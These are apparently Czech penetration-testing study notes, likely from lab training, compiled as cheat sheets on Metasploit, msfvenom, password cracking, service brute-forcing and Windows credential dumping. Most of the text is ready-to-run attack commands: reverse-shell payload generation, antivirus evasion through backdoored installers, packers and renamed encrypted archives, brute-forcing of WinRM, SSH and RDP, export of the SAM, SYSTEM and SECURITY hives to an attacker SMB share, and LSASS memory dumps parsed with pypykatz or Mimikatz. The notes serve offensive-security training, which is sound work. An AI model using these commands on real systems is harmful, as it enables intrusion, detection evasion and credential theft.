- **use [cesta/index]**: Výběr modulu pro použití.
- **show options**: Zobrazení konfiguračních parametrů modulu.
- **set [název] [hodnota]**: Nastavení parametru (např. set RHOSTS 10.10.10.5).
- **run nebo exploit**: Spuštění modulu.
- **back**: Návrat z modulu do hlavního menu.

Meterpreter Session (příkazy po průniku):

- **getuid**: Zjištění identity aktuálního uživatele.
- **sysinfo**: Informace o systému (architektura, verze OS).
- **shell**: Přechod do standardního příkazového řádku (CMD/Bash).
- **background**: Odsunutí session na pozadí (pro práci s jinými moduly).
- **sessions -i [ID]**: Návrat k session na pozadí.

MSFVenom (generování payloadů):

- **msfvenom -p [payload] LHOST=[IP] LPORT=[port] -f [formát] > [soubor]**
- *Příklad:* **msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > shell.exe**

Práce s databází (Základ pro profíky)

Metasploit má v sobě databázi (PostgreSQL), která si pamatuje vše, co jste zjistili.

- **db_status**: Ověří, zda je MSF připojen k databázi.
- **workspace -a [název]**: Vytvoří nový projekt (oddělení dat pro různé cíle).
- **db_nmap -sV [IP]**: Spustí Nmap přímo z MSF a výsledky (porty, služby) uloží do databáze.
- **hosts**: Zobrazí všechny objevené stroje.
- **services**: Zobrazí seznam všech nalezených služeb a portů.

Pokročilé ovládání modulu

- **info**: Zobrazí detailní popis modulu, autora, CVE a hodnocení spolehlivosti (Rank).
- **show targets**: Zobrazí seznam operačních systémů/verzí, na které exploit útočí.
- **check**: Ověří, zda je cíl zranitelný, **aniž by spustil exploit** (pokud to modul podporuje).
- **edit**: Otevře zdrojový kód aktuálního modulu v editoru (Vim) pro rychlé úpravy.

Meterpreter – Ovládnutí systému

- **upload / cesta/k/souboru**: Nahraje soubor z tvého PC do oběti.
- **download soubor.txt**: Stáhne soubor z oběti k tobě.
- **ps**: Seznam běžících procesů na oběti.
- **migrate [PID]**: Přesune tvůj shell do jiného procesu (např. do explorer.exe), aby spojení nezaniklo při zavření prohlížeče oběti.
- **hashdump**: Vytáhne z Windows databáze SAM hashe hesel uživatelů.
- **load kiwi**: Načte modul Mimikatz pro získávání hesel z paměti RAM.

Teorie

Tato část vysvětluje, jak Metasploit vlastně funguje "pod kapotou" a jak se staví vlastní útoky.

A. Architektura modulů

Metasploit není jeden program, ale skládačka. Každý modul má svou kategorii:

1. **Exploits:** Kód, který využije chybu (díru) v systému, aby dovnitř doručil payload.
2. **Payloads:** To, co se spustí **po** úspěšném průniku (např. Meterpreter, Reverse Shell).
3. **Auxiliary:** Pomocné moduly (skenery portů, fuzzery, crawlery), které neprovádějí přímo exploitaci.
4. **Post:** Moduly pro práci po průniku (sběr dat, eskalace privilegií).
5. **Encoders:** Nástroje pro úpravu kódu (obfuskaci), aby se vyhnuly detekci.

B. Mechanismus Mixins a Ruby kódování

Když píšeš nebo portuješ modul, nepíšeš kód pro "vytvoření TCP spojení" nebo "odeslání HTTP požadavku" od nuly. Používáš **Mixins**.

- **include Msf::Exploit::Remote::HttpClient:** Přidá tvému modulu schopnost mluvit s webovými servery (metody jako `send_request_cgi`).
- **include Msf::Exploit::Remote::Tcp:** Základní síťová komunikace.

Příklad struktury portovaného modulu:

Ruby

```
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking # Jak moc je exploit stabilní
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Název tvého exploitu',
      'Description' => 'Co to dělá...',
      'Author' => ['Tvé Jméno'],
      'License' => MSF_LICENSE,
      'Platform' => 'win', # nebo 'linux', 'unix'
      'Targets' => [ ['Windows 10', { 'Ret' => 0x41414141 } ] ]
    ))
  end

  def exploit
    # Zde je samotná logika útoku
    connect # mixin pro otevření spojení
    handler # mixin pro obsluhu payloadu
  end
end
```

C. MSFVenom: Filozofie generování

Při generování payloadu si musíš uvědomit rozdíl mezi:

- **Staged Payload:** (např. `windows/meterpreter/reverse_tcp`) – Do oběti se pošle malý "zavaděč" (stager), který si zbytek velkého Meterpreteru dotáhne z tvého PC. Je to nenápadnější pro síť.
- **Stageless Payload:** (např. `windows/meterpreter_reverse_tcp` – všimni si podtržítka) – Celý kód se pošle najednou. Je to stabilnější v nestabilních sítích, ale soubor je mnohem větší.

D. Praktický postup při portování (Workflow)

1. **Analýza původního skriptu:** V jakém jazyce je? (Python, PoC v C). Jaké parametry potřebuje (IP, Port, Cesta)?
2. **Výběr šablony (Boilerplate):** Najdi v `/usr/share/metasploit-framework/modules/` modul, který dělá podobnou věc.
3. **Úprava parametrů:** Přidání polí do `register_options` (např. `OptString.new('TARGETURI', [true, 'Cesta k aplikaci', '/'])`).
4. **Testování:** Spustit MSF, udělat `reload_all`, nastavit parametry a zkusit, zda to projde.

Obrana

Obcházení ochran (FW, IDS/IPS, AV)

Definice ochrany:

- **Endpoint (Koncová):** Antiviry, EDR běžící přímo na cílovém PC.
- **Perimetr (Obvodová):** Firewally, IPS/IDS na hranici sítě, DMZ (demilitarizovaná zóna).

Techniky evasion (obcházení):

1. Enkrypce (Šifrování):

- MSF6 automaticky používá **AES šifrování** pro komunikaci Meterpreteru. To pomáhá obejít síťové IDS, které by jinak vidělo podezřelé příkazy v čistém textu.

2. Backdoored Executables (Šablony):

- Místo generování podezřelého shellu použijte parametr `-x` v MSFVenom pro vstříknutí payloadu do legitimní aplikace (např. `calc.exe` nebo `TeamViewer_Setup.exe`).
- Vlajka `-k` zajistí, že původní aplikace bude dál normálně fungovat, zatímco malware běží skrytě v jiném vlákne.

3. Iterativní kódování (Encoding):

- Použití encoderů jako `x86/shikata_ga_nai`. Parametr `-i [číslo]` určuje počet průchodů kódováním. Poznámka: Samotné kódování dnes na moderní AV často nestačí, ale pomáhá odstranit "bad characters".

4. Archivace a maskování:

- Payload lze zabalit do **zašifrovaného archivu (RAR/ZIP)** s heslem.
- Skenery do takového souboru nevidí. Pokud navíc smažete příponu souboru (např. z `test.rar` uděláte jen `test`), detekce na VirusTotal může klesnout na nulu.

5. Packery:

- Nástroje jako **UPX** nebo **Themida**, které zkomprimují celý spustitelný soubor a dekomprimují ho až v operační paměti při spuštění, čímž skryjí kód před statickou analýzou AV.

6. Randomizace (Exploit coding):

- Při psaní vlastních exploitů (např. Buffer Overflow) se doporučuje náhodně měnit délku a obsah bufferů a nepoužívat standardní NOP sleds (`\x90`), které IPS systémy okamžitě detekují.

John The Ripper

□ John the Ripper: Ultimate Cheat Sheet

1. Základní útoky (Cracking Modes)

Mód	Příkaz	Kdy ho použít?
Single Crack	<code>john --single hash.txt</code>	První volba. Zkouší variace uživatelského jména.
Wordlist	<code>john --wordlist=dict.txt hash.txt</code>	Klasický slovníkový útok.
Wordlist + Rules	<code>john --wordlist=dict.txt --rules hash.txt</code>	Slovník + komolení slov (čísla, velká písmena).
Incremental	<code>john --incremental hash.txt</code>	Brute-force. Zkouší všechny kombinace. Nejdůkladnější.

2. Formáty a identifikace

John se obvykle snaží formát detekovat sám, ale u "raw" hashů (MD5, SHA1) mu musíš pomoci.

- **Identifikace hashe:** `hashid -j <hash>` (vypíše přímo název formátu pro JtR).
- **Ruční určení formátu:** `john --format=raw-md5 hash.txt`
- **Zobrazení všech podporovaných formátů:** `john --list=formats`

3. Příprava souborů (Konverze do JtR)

John neumí číst přímo soubory typu PDF nebo ZIP. Musíš z nich nejdřív "vytáhnout" hash pomocí nástrojů *2john.

- **ZIP archiv:** `zip2john data.zip > data.hash`
- **PDF dokument:** `pdf2john document.pdf > document.hash`
- **SSH klíč:** `ssh2john id_rsa > id_rsa.hash`
- **RAR archiv:** `rar2john archive.rar > archive.hash`
- **KeePass databáze:** `keepass2john Vault.kdbx > vault.hash`

4. Práce s výsledky

John si ukládá cracknutá hesla do souboru `~/john/john.pot`.

- **Zobrazení cracknutého hesla:** `john --show hash.txt`
- **Stav aktuálního útoku:** Během běhu stiskni jakoukoliv klávesu (nebo Enter).
- **Ukončení:** `q` nebo `Ctrl+C`.
- **Pokračování v přerušeném útoku:** `john --restore`

5. Pokročilé tipy

- **Vytvoření vlastního slovníku (z webu):** Pokud útočíš na firmu, vytvoř si slovník z jejich webu pomocí nástroje cewl:
`cewl -w company_dict.txt https://www.firma.cz`
- **Filtrování podle délky:** Pokud víš, že heslo má aspoň 8 znaků, neztrácej čas s kratšími:
`john --wordlist=rockyou.txt --min-len=8 hash.txt`
- **Využití více jader (OpenMP):** Pokud máš silný procesor, John to pozná sám, ale můžeš ho popohnat:
`john --fork=4 hash.txt` (spustí 4 paralelní procesy).

6. Praktický příklad

Máš-li uživatele `r0lf` a soubor ve formátu `/etc/passwd`:

1. **Single mode (založený na GECOS):**
`john --single passwd.txt`
2. **Pokud selže, použij RockYou se standardními pravidly:**
`john --wordlist=/usr/share/wordlists/rockyou.txt --rules passwd.txt`

Hashcat

□ Hashcat: Pro-Level Cheat Sheet

1. Režimy útoků (Attack Modes)

Mód	Název	Příkaz	Popis
-a 0	Straight	<code>-a 0 -m 0 hash.txt dict.txt</code>	Klasický slovník. Slovo po slovu.
-a 1	Combination	<code>-a 1 -m 0 hash.txt d1.txt d2.txt</code>	Spojí slova ze dvou slovníků (např. Admin + 123).
-a 3	Mask	<code>-a 3 -m 0 hash.txt ?u?l?l?d</code>	Brute-force podle tvého vzorce (masky).
-a 6	Hybrid	<code>-a 6 -m 0 hash.txt dict.txt ?d?d</code>	Slovo ze slovníku + maska na konci (Heslo12).
-a 7	Hybrid	<code>-a 7 -m 0 hash.txt ?d?d dict.txt</code>	Maska na začátku + slovo ze slovníku (12Heslo).

2. Tabulka masek (Klíč k úspěchu)

Symbol	Význam	Příklad
?l	Malá písmena	abcdef...
?u	Velká písmena	ABCDEF...
?d	Číslice	012345...
?s	Symbody	!@#\$\$%^...
?a	Všechno dohromady	Mix písmen, čísel a symbolů

3. Identifikace a správa (Useful Commands)

- **Identifikace:** Pokud nevíš kód -m, použij:
`hashcat --help | grep -i "název_algoritmu"` (např. grep -i "ntlm")
- **Show:** Pokud už jsi hash cracknul a Hashcat končí hned, podívej se na výsledek:
`hashcat -m 0 hash.txt --show`
- **Status:** Během útoku stiskni klávesu **s** pro aktuální stav, **p** pro pauzu a **r** pro pokračování.
- **Potfile:** Všechna nalezená hesla se ukládají do `~/.hashcat/hashcat.potfile`.

4. Vlastní znakové sady (Custom Charsets)

Někdy víš, že heslo obsahuje jen určitá písmena (třeba jen hexadecimální).

Příklad: Heslo má 8 znaků a jsou to jen písmena a, b, c, 1, 2, 3.

`hashcat -a 3 -m 0 hash.txt -1 abc123 ?1?1?1?1?1?1?1?1`

5. Pokročilé techniky (Expert Tips)

- **Optimalizace výkonu:** Pokud máš slabší PC a systém laguje, přidej **-w 3** (workload profile – 3 je vysoký, 1 je nízký).
- **Inkrementální maska:** Pokud nevíš, jak je heslo dlouhé, nech Hashcat zkoušet délky postupně:
`hashcat -a 3 -m 0 hash.txt --increment --increment-min 4 --increment-max 8 ?l?l?l?l?l?l?l?l`
- **Kombinace pravidel:** Pravidla můžeš i řetězit (aplikovat dvě sady najednou), ale pozor na extrémní nárůst času.

□ Příklad

Pokud bys na Marka Whitea útočil s Hashcatem místo Johna, vypadalo by to takto:

1. **Vytvoříš slovník:** mark.txt (Nexura, Baseball, Bella...)
2. **Spustíš hybridní útok (Slovník + 4 čísla + symbol):**
`hashcat -m 0 -a 6 mark.txt ?d?d?d?d?s`
3. **Nebo použiješ pravidla:**
`hashcat -m 0 -a 0 mark.txt -r /usr/share/hashcat/rules/best64.rule`

Cracking Files

Cracking Protected Files & SSH Keys

Lámání chráněných souborů je kritická dovednost při post-exploitaci. Často najdeme citlivá data (hesla, klíče, smlouvy) v zašifrovaných archivech nebo dokumentech, které uživatelé považují za bezpečné.

1. Vyhledávání cílů (Enumerace)

Prvním krokem je najít soubory, které stojí za to crackovat.

Vyhledávání podle přípon (Office, PDF, OpenDoc)

V Linuxu můžeš použít cyklus pro prohledání celého systému:

Bash

```
for ext in .xls .xlsx .doc .docx .pdf .odt .ods .odp; do
  echo -e "\n[+] Extension: $ext";
  find / -name "$*$ext" 2>/dev/null | grep -v "lib\|fonts\|share";
done
```

Vyhledávání SSH klíčů (Podle obsahu)

Privátní klíče často nemají příponu, proto hledáme jejich typickou hlavičku:

Bash

```
grep -rE '\-{5}BEGIN [A-Z0-9 ]+ PRIVATE KEY\-{5}$' /home 2>/dev/null
```

- **Tip:** Pokud najdeš klíč, ověř, zda je chráněn heslem pomocí: `ssh-keygen -yf <soubor_klice>`. Pokud se zeptá na passphrase, je zašifrovaný.

2. Princip: "X2John" Workflow

John the Ripper (JtR) neumí crackovat soubory přímo. Proces má vždy dva kroky:

1. **Extrakce hashe:** Převedení šifrování souboru na textový hash pomocí skriptu.
2. **Crackování:** Útok na tento hash pomocí JtR nebo Hashcatu.

Přehled extraktorů (Kde je najít?)

Většina těchto nástrojů je v Kali v `/usr/bin/` nebo `/usr/share/john/`.

- **office2john.py** – MS Office (.docx, .xlsx, .pptx)
- **pdf2john.py** – PDF dokumenty
- **zip2john / 7z2john.pl / rar2john** – Archivy
- **ssh2john.py** – SSH privátní klíče
- **keepass2john** – Databáze hesel KeePass

3. Praktické příklady (Cheatsheet)

A. Microsoft Office (.xlsx, .docx)

Moderní Office používají silné AES-256.

Bash

```
python3 /usr/share/john/office2john.py protected.xlsx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt office.hash
```

B. SSH Privátní klíče

Bash

```
python3 /usr/share/john/ssh2john.py id_rsa > ssh.hash
john --wordlist=rockyou.txt ssh.hash
```

C. PDF Dokumenty

U PDF záleží na verzi (starší verze padají okamžitě, novější jsou velmi pomalé).

Bash

```
pdf2john.py document.pdf > pdf.hash
john --wordlist=rockyou.txt pdf.hash
```

4. Pro-Tips

□ Zrychlení pomocí Hashcatu (GPU)

John je skvělý na CPU, ale u moderních Office (verze 2013+) je extrémně pomalý. Hashcat na grafice je 100x rychlejší.

- **Postup:** Získej hash pomocí office2john, ale z výsledného souboru smaž název souboru na začátku (nech jen vše od \$office\$...).
- **Módy:**
 - Office 2010: `-m 9500`
 - Office 2013: `-m 9600`
 - PDF 1.7+: `-m 10700`

□ Čištění hashe

Když spustíš např. `zip2john file.zip > hash`, John do souboru napíše i název toho ZIPu. Pokud chceš hash použít v Hashcatu, musíš ten název na začátku (před první dvojtečkou) smazat, jinak Hashcat nahlásí "Signature unmatched".

□ Vlastní Wordlisty (Mutace)

Pokud rockyou.txt selže, zkus vytvořit wordlist na míru z obsahu webu firmy nebo jmen zaměstnanců pomocí nástroje **CeWL**:

Bash

```
cewl -w company wordlist.txt https://www.target-company.com
```

5. Shrnutí příkazů pro John the Ripper

Příkaz

Význam

```
john --show hash.txt
```

 Zobrazí již dříve cracknutá hesla.

john --list=formats	Ukáže všechny podporované typy hashů.
john --rules hash.txt	Zapne mutace (přidávání čísel, velká písmena) k wordlistu.
john --incremental	Spustí čistý brute-force (zkouší všechny kombinace).

Cracking Prot. Archives and volumes

□ Poznámky: Cracking Protected Archives & Volumes

Lámání archivů a šifrovaných svazků (jako VHD) je základní technikou post-exploitate. Cílem je získat přístup k datům, která byla pro transport nebo uložení „zabalena“ a zamčena.

1. Proč se používají archivy a šifrované disky?

- **Organizace:** Seskupení stovek souborů do jednoho (ZIP, TAR, 7z).
- **Bezpečnost:** Ochrana citlivých dat (hesla, klíče, osobní údaje) před neoprávněným přístupem.
- **Standardy:** Firmy často používají BitLocker (Windows) nebo chráněné ZIPy pro splnění GDPR.

2. Typy archivů a ochrana

Existují stovky přípon, ale ne všechny mají **nativní** šifrování:

- **Nativní šifrování:** ZIP, 7z, RAR, KDBX (KeePass).
- **Externí šifrování:** TAR nebo GZIP se často šifrují pomocí openssl nebo gpg.
- **Virtuální disky:** VHD, VMX, které mohou být chráněny BitLockerem (tvůj případ).

3. Workflow: "Hash Extraction"

Proces prolamování jakéhokoliv chráněného souboru má vždy 3 fáze:

A. Extrakce hashe (Nástroje X2John)

John the Ripper (JtR) obsahuje skripty, které „vypreparují“ digitální zámek ze souboru.

- `zip2john soubor.zip > zip.hash`
- `bitlocker2john -i disk.vhd > bitlocker.hash`
- rar2john, 7z2john.pl, atd.

B. Offline Cracking (Hashcat / JtR)

Místo hádání hesla přímo proti souboru (což je pomalé), útočíme na ten extrahovaný text (hash).

- **Hashcat:** Rychlejší, používá GPU. Mód pro BitLocker je **22100**.
- **John the Ripper:** Jednodušší na použití, běží na CPU.

C. Mounting (Vyzvednutí obsahu)

Pokud je cílem „vnitřek“ (jako u VHD), musí se disk po získání hesla připojit:

1. Vytvoření loop zařízení (losetup).
2. Dešifrování (dislocker).
3. Připojení do složky (mount).

4. Rekapitulace mého ukolu postupu

Tady je shrnutí toho, co jsi v posledních krocích udělal, abys získal flag:

1. **Identifikace:** Zjistil jsem, že soubor Private.vhd je chráněn BitLockerem.
2. **Extrakce:** Pomocí bitlocker2john jsem získal hash \$bitlocker\$0\$....
3. **Lámání:** Použil jsem Hashcat s módem **22100** a slovníkem rockyou.txt. Zjistil jsem, že heslo je **franxxxxxxxx**.
4. **Dešifrování:**
 - Vytvořil jsem loop zařízení **loop0p1**.
 - Použil jsem **dislocker** k odemčení šifrované vrstvy.
5. **Exfiltrace:** Kali Linux automaticky (nebo přes můj příkaz) namontoval disk do /run/media/kali/New Volume.
6. **Cíl:** Příkazem `cat "/run/media/kali/New Volume/flag.txt"`

Network Services

❑ Windows Remote Management (WinRM)

Moderní protokol Microsoftu pro vzdálenou správu (porty **5985 HTTP** / **5986 HTTPS**). Pokud získáš platné údaje, často získáš přímý přístup k PowerShellu.

NetExec (Dříve CrackMapExec)

Švýcarský nůž pro útoky na Windows protokoly. Umí brute-force i následnou enumeraci.

- **Brute-force WinRM:**

Bash

```
netexec winrm 10.129.42.197 -u user.list -p password.list
```

Tip: Pokud uvidíš (Pwn3d!), máš práva spouštět příkazy.

Evil-WinRM

Nejlepší nástroj pro interaktivní shell, jakmile máš heslo.

- **Přihlášení:**

Bash

```
evil-winrm -i 10.129.42.197 -u user -p password
```

❑ Secure Shell (SSH)

Standard pro Linux, ale stále častěji i na Windows (port **22**). Využívá symetrické i asymetrické šifrování.

Hydra - SSH Brute-force

Bash

```
hydra -L user.list -P password.list ssh://10.129.42.197 -t 4
```

Poznámka: SSH servery často omezují počet paralelních připojení, proto se doporučuje -t 4.

Přihlášení:

Bash

```
ssh user@10.129.42.197
```

❑ Remote Desktop Protocol (RDP)

Grafické vzdálené ovládání Windows (port **3389**).

Hydra - RDP Brute-force

Bash

```
hydra -L user.list -P password.list rdp://10.129.42.197
```

xfreerdp

Moderní Linuxový klient pro připojení k RDP.

Bash

```
Xfreerdp3 /v:10.129.42.197 /u:user /p:password /dynamic-resolution
```

❑ Server Message Block (SMB)

Protokol pro sdílení souborů a tiskáren (port **445**). Klíčový pro pohyb v Active Directory.

Brute-force (Metasploit)

Pokud selže Hydra (kvůli verzi SMBv3), Metasploit je sázka na jistotu.

Bash

```
use auxiliary/scanner/smb/smb_login
```

```
set RHOSTS 10.129.42.197
```

```
set USER_FILE user.list
```

```
set PASS_FILE password.list
```

```
run
```

Enumerace sdílení (NetExec)

Zjisti, do kterých složek máš přístup:

Bash

```
netexec smb 10.129.42.197 -u "user" -p "password" --shares  
smbclient
```

Interaktivní přístup k obsahu sdílené složky.

Bash

```
smbclient -U user \\10.129.42.197\SHARENAME
```

❑ Přehledová tabulka služeb

Služba	Port	Hlavní nástroje	Typický Payload/Cíl
WinRM	5985, 5986	NetExec, Evil-WinRM	PowerShell Shell
SSH	22	Hydra, ssh-client	Bash Shell

RDP	3389	Hydra, xfreerdp	GUI Desktop
SMB	445	smbclient, Metasploit	Exfiltrate dat / PsExec

Windows pass attack

Architektura a klíčové procesy

Když se uživatel přihlašuje, rozjede se řetězec událostí, kde figurují tito hlavní hráči:

- **WinLogon:** Systémový proces, který má na starosti interakci s uživatelem (přihlašovací obrazovka, zamykání PC). Jako jediný odchyťává stisky kláves při loginu.
- **LogonUI:** Grafické rozhraní, které mi zobrazí políčko pro heslo.
- **LSASS (Local Security Authority Subsystem Service): Tohle je můj hlavní cíl.** Je to strážce brány. Ověřuje uživatele, vynucuje bezpečnostní politiky a posílá logy do Event Logu. Běží jako %SystemRoot%\System32\lsass.exe.

☐ Autentizační balíčky (DLL v rámci LSASS)

LSASS používá různé knihovny podle toho, o jaký typ přihlášení jde:

- **msv1_0.dll:** Používá se pro **lokální** přihlášení (mimo doménu).
- **kerberos.dll:** Používá se pro **doménové** přihlášení v Active Directory.
- **ntds.dll:** Tato knihovna běží **pouze na Domain Controlleru** a spravuje databázi NTDS.dit.

Kde jsou uloženy credentials?

Jako útočník musím vědět, kde přesně fyzicky leží data, která chci dumpnout:

1. SAM (Security Accounts Manager)

- **Umístění:** %SystemRoot%\system32\config\SAM (v registrech pod HKLM\SAM).
- **Obsah:** Lokální uživatelé a jejich NTLM hashe.
- **Přístup:** Potřebuji práva **SYSTEM**.

2. Credential Manager (Locker)

Windows si sem ukládá hesla pro weby, síťové disky a certifikáty.

- **Umístění:** C:\Users\[Username]\AppData\Local\Microsoft\Credentials\
- **Využití:** Pokud ovládnou uživatelský session, můžu odtud vytáhnout hesla k Outlooku nebo prohlížečům (často přes DPAPI).

3. NTDS.dit (Svatý grál AD)

Tato databáze existuje **pouze na Domain Controllerech**.

- **Umístění:** %SystemRoot%\ntds.dit
- **Obsah:** Úplně všechno o doméně – všichni uživatelé, skupiny a hlavně **všechny doménové hashe**.
- **Cíl:** Pokud získám tento soubor, ovládl jsem celou doménu.

☐ Kerberos vs. NTLM

- **NTLM:** Starší protokol založený na výzvě a odpovědi (Challenge-Response). LSASS porovnává hash hesla s tím, co je v SAMu.
- **Kerberos:** Moderní a složitější. Používá systém "lístků" (Tickets). Pokud jsem v doméně, LSASS komunikuje s KDC (Key Distribution Center), což je typicky Domain Controller.

Útok na Sam, systém, security

🔗 Útok na SAM, SYSTEM a SECURITY

Když získám administrátorský přístup k Windows, mým cílem je co nejrychleji vytáhnout hashe pro offline crackování. Tím se vyhnou nutnosti udržovat aktivní spojení a neriskuji odhalení při interaktivní práci.

1. Co musím z registru ukrást

Potřebuji tyhle tři větve (Registry Hives), abych mohl hashe dešifrovat:

- **HKLM\SAM:** Tady jsou ty samotné NTLM hashe lokálních uživatelů.
- **HKLM\SYSTEM:** Obsahuje boot key (nutný k dešifrování SAMu).
- **HKLM\SECURITY:** Obsahuje LSA secrets, cache doménových hesel (DCC2) a DPAPI klíče.

2. Jak to vytáhnou (Můj workflow)

Krok A: Export na cíli (přes CMD jako Admin)

Přímo na stroji oběti si udělám zálohy do souborů:

DOS

```
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
```

Krok B: Přenos ke mně (Exfiltrace)

Nejraději používám **Impacket SMB server** na svém stroji, abych si soubory jen "přetáhl":

1. **Na mém stroji:** Spustím server v aktuální složce:

Bash

```
sudo impacket-smbserver CompData $(pwd) -smb2support
```

2. **Na oběti:** Přesunu soubory na svůj sdílený disk:

DOS

```
move C:\sam.save \\<MOJE_IP>\CompData
move C:\system.save \\<MOJE_IP>\CompData
move C:\security.save \\<MOJE_IP>\CompData
```

Krok C: Dumpování hashů (Offline)

Když už mám soubory u sebe, použiju secretsdump:

Bash

```
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > moje_hashe.txt
```

Všímám si hlavně NT hashů (to je ten dlouhý řetězec na konci řádku).

3. Vzdálený dumping (Rychlovka přes NetExec)

Pokud už mám platné admin credentials, nemusím nic kopírovat ručně. Použiju tohle:

- **LSA Secrets (hesla služeb):**

Bash

```
netexec smb <IP> --local-auth -u bob -p 'Heslo123' --lsa
```

- **SAM Hashe (lokální uživatelé):**

Bash

```
netexec smb <IP> --local-auth -u bob -p 'Heslo123' --sam
```

4. Crackování (Hashcat - Moje parametry)

Lokální uživatelé (NTLM)

Mód -m 1000. Jde to hrozně rychle.

Bash

```
hashcat -m 1000 hashe_k_prolomeni.txt /usr/share/wordlists/rockyou.txt
```

Doménová cache (DCC2)

Mód -m 2100. Pokud narazím na hashe typu \$DCC2\$, musím počítat s tím, že to poletí mnohem pomaleji (cca 800x).

Bash

```
hashcat -m 2100 '$DCC2$10240#admin#hash...' /usr/share/wordlists/rockyou.txt
```

Útok na lsass

❑ Proč útočit na LSASS?

LSASS (Local Security Authority Subsystem Service) je proces, který drží v paměti citlivá data pro aktivní přihlášené session:

- **Cache přihlašovacích údajů** (NTLM hashe, někdy i čistý text).
- **Kerberos lístky** (TGT, TGS).
- **DPAPI master klíče** (pro dešifrování hesel v Chrome/Edge).

❑ 1. Jak získám dump paměti (lsass.dmp)

Mám dvě hlavní cesty, jak udělat „snímek“ paměti LSASS a pak ho analyzovat offline.

Metoda A: Task Manager (přes GUI)

Pokud mám RDP nebo interaktivní plochu:

1. Otevřu **Správce úloh (Task Manager)**.
2. Zálůžka **Podrobnosti (Details)**.
3. Najdu lsass.exe, pravým tlačítkem zvolím **Vytvořit soubor výpisu (Create dump file)**.
4. Soubor se uloží do %temp% (obvykle C:\Users\Admin\AppData\Local\Temp\lsass.DMP).

Metoda B: Rundll32 (přes příkazovou řádku)

Rychlejší a nepotřebuji grafiku, ale **pozor: Moderní antivirus (Defender) tohle hned zablokuje!**

1. Zjistím PID procesu lsass:
 - V CMD: **tasklist /svc | findstr lsass**
 - V PowerShellu: **Get-Process lsass**
2. Spustím dump (např. pro PID 672):
PowerShell

```
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
```

❑ 2. Přenos dumpu na Kali

Stejně jako u souborů SAM/SYSTEM, i lsass.dmp musím dostat k sobě na stroj pro offline analýzu. Postup je identický:

1. **Na mém Kali:** Spustím SMB server:

Bash

```
sudo impacket-smbserver Share $(pwd) -smb2support
```

2. **Na oběti (Windows):** Přesunu dump na svůj share:

DOS

```
move C:\lsass.dmp \\<MOJE_IP>\Share\
```

Poznámka: Stejně tak můžu použít FTP upload přes PowerShell, jak jsi to dělal u SAMu.

🔗 3. Analýza dumpu na Kali (Pypykatz)

Když už mám lsass.dmp u sebe na Kali, nemusím na Windows spouštět nebezpečný Mimikatz. Použiju **Pypykatz** (Python verze Mimikatzu):

Bash

```
pypykatz ls minidump lsass.dmp
```

Co ve výstupu hledám:

- **MSV:** Tady najdu **NTLM hashe** uživatelů (např. bob).
- **WDIGEST:** Na starších systémech (nebo špatně nastavených nových) tu uvidíš **heslo v čistém textu!**
- **Kerberos:** Tady jsou doménové lístky a hashe.
- **DPAPI:** Master klíče, které pak použiju na dešifrování hesel v prohlížeči.

⚡ 4. Crackování (Hashcat)

Pokud získám NT hash z LSASS (např. od uživatele bob), cracknu ho stejně jako u SAMu:

Bash

```
hashcat -m 1000 <HASH_Z_PYPYKATZ> /usr/share/wordlists/rockyou.txt
```


Win Vault

❑ Co je Credential Manager (Windows Vault)

Windows ukládá citlivá data do zašifrovaných složek (trezorů). Každý uživatel má svůj vlastní profil, kde jsou tyto "lockery" uloženy.

- **Kde to fyzicky leží:**
 - %UserProfile%\AppData\Local\Microsoft\Credentials\
 - %UserProfile%\AppData\Roaming\Microsoft\Credentials\
- **Jak je to chráněno:** Soubory jsou šifrovány pomocí DPAPI (Data Protection API). Každá složka obsahuje soubor Policy.vpol s AES klíči, které dešifrují samotná hesla.

❑ 1. Enumerace: Co všechno tam uživatel má?

Než začnu něco lámat, podívám se, co je k dispozici. K tomu slouží vestavěný nástroj cmdkey.

DOS

```
cmdkey /list
```

Na co se ve výstupu zaměřit:

- **Target:** Název zdroje (např. IP adresa, název serveru nebo Domain:interactive=...).
- **Type:** Domain Password je nejzajímavější – jsou to přihlašovací údaje do domény.
- **Persistence:** Pokud je tam Local machine persistence, heslo přežije i restart.

❑ 2. Triky s uloženými údaji (Bez crackování)

Pokud vidím v cmdkey záznam typu Domain Password, můžu zkusit "vypůjčit" si identitu daného uživatele bez znalosti hesla pomocí parametru /savecred.

DOS

```
runas /savecred /user:SRV01\mcharles cmd
```

Pokud jsou údaje v trezoru uloženy, Windows je automaticky použije a otevře mi nové okno CMD pod tímto uživatelem.

🔗 3. Extrakce hesel (Mimikatz)

Pokud chci vidět hesla v čistém textu, použiju **Mimikatz**. Mám dvě možnosti:

A. Tahání z paměti (přes LSASS)

Nejjednodušší cesta, pokud je uživatel aktivní:

DOS

```
mimikatz # privilege::debug
```

```
mimikatz # sekurlsa::credman
```

*V sekci credman hledám pole * Password :. Často tam najdu hesla k OneDrivu nebo síťovým diskům.*

B. Manuální dešifrování (DPAPI)

Pokud mám jen soubory z disku (např. z offline dumpu), musím použít modul dpapi. Je to složitější, protože potřebuji master klíče z SECURITY hive.

❑ Další užitečné nástroje

Pokud Mimikatz selže nebo je zablokovan, existují skvělé alternativy:

- **SharpDPAPI:** C# nástroj pro práci s trezory a DPAPI.
- **LaZagne:** Univerzální "vysavač" hesel z prohlížečů, chatů a Windows Vaultů.
- **DonPAPI:** Skvělý pro vzdálený dumping trezorů v celé síti.